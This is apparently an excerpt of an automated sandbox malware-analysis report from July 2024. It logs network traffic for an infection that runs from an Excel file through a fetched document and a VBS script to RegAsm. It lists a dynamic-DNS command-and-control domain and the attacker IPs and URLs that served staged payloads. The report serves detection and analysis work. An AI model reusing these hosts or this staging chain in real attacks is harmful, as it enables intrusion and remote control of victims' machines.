              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.168.2.22:49168 -> 192.3.176.154:80
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168
              Source: global trafficTCP traffic: 192.3.176.154:80 -> 192.168.2.22:49168

              Networking

              barindex
              C2 URLs / IPs found in malware configuration
              Source: Malware configuration extractorURLs: 2024remcmon.duckdns.org
              Uses dynamic DNS services
              Source: unknownDNS query: name: 2024remcmon.duckdns.org
              Source: createactiveimagesbeautygirlfrnd[1].gif.8.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
              Source: createactiveimagesbeautygirlfrnd[1].gif.8.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
              Source: createactiveimagesbeautygirlf.vBS.8.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport><force/></analyze_input> - obfuscation quality: 4
              Source: createactiveimagesbeautygirlf.vBS.8.drBinary string: http://schemas.microsoft.com/wbem/wsman/1/config/service><transport>transport</transport></analyze_input> - obfuscation quality: 4
              Source: global trafficHTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xampp/glo/KBV.txt HTTP/1.1Host: 192.3.176.154Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
              Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
              Source: Joe Sandbox ViewIP Address: 188.114.97.3 188.114.97.3
              Source: Joe Sandbox ViewASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
              Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
              Source: global trafficHTTP traffic detected: GET /c8lH8 HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xampp/glo/gl/funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.154Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xampp/glo/createactiveimagesbeautygirlfrnd.gIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.154Connection: Keep-Alive
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: unknownTCP traffic detected without corresponding DNS query: 192.3.176.154
              Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 12_2_0041B380 InternetOpenW,InternetOpenUrlW,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,12_2_0041B380
              Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FE07CC45.emfJump to behavior
              Source: global trafficHTTP traffic detected: GET /c8lH8 HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: tny.wtfConnection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xampp/glo/gl/funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd.doc HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.154Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xampp/glo/createactiveimagesbeautygirlfrnd.gIF HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 192.3.176.154Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /Upload/vbs.jpeg HTTP/1.1Host: 198.46.176.133Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /xampp/glo/KBV.txt HTTP/1.1Host: 192.3.176.154Connection: Keep-Alive
              Source: global trafficHTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache
              Source: global trafficDNS traffic detected: DNS query: tny.wtf
              Source: global trafficDNS traffic detected: DNS query: 2024remcmon.duckdns.org
              Source: global trafficDNS traffic detected: DNS query: geoplugin.net
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:16:21 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=o3Rz7B6AZtNyly7Ywcq4vF0zHz4wivabLswtDfcT4ONAh0Jtn0dUOEj8BfLJUYz9Hzvi%2FQSp5sPkqGi2E25padK2L9fcjoruIU5m4lyjiVWxJj4%2B2X88v0QC"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93fa209d128c51-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:16:21 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UJref7XggdVBPkZZeR2Ss6uVKu3VxbOG2b1%2F00I3flv7Oo6kMDNT1w9gvzjS%2BAWU4rvWN6E9D3us%2B0vpSambCVUrhJxDWOvMWe2yyB4eRpyBTEQDlJKaoIBS"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93fa23dfff8c51-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:16:21 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xOURY6Wg2umzynpaBpswWAF3%2F9AngzvLy3yDxgIy84%2B7zqDuGmoHXu%2BFQtme1gMADji%2BbpSUTTPuELE8PA%2FhIPoVz7O5GnmXbKPZcKIWoXB2ir1se6ryL0hv"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93fa24e8ee8c51-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
              Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 26 Jul 2024 11:16:26 GMTTransfer-Encoding: chunkedConnection: keep-aliveX-Powered-By: ASP.NETCF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uCDzbk5F4Y9jFwY177PY8kkm9gn422T7r%2B02B%2BrYkl7oiCYlTW8K2aYlCU2EO0RiHyt2fo%2FOAuirOALaCZNMJKUDzTD33YDcpwHr3FZuHPAzN%2BIQkss%2BQiaj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8a93fa429be34401-EWRalt-svc: h3=":443"; ma=86400Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
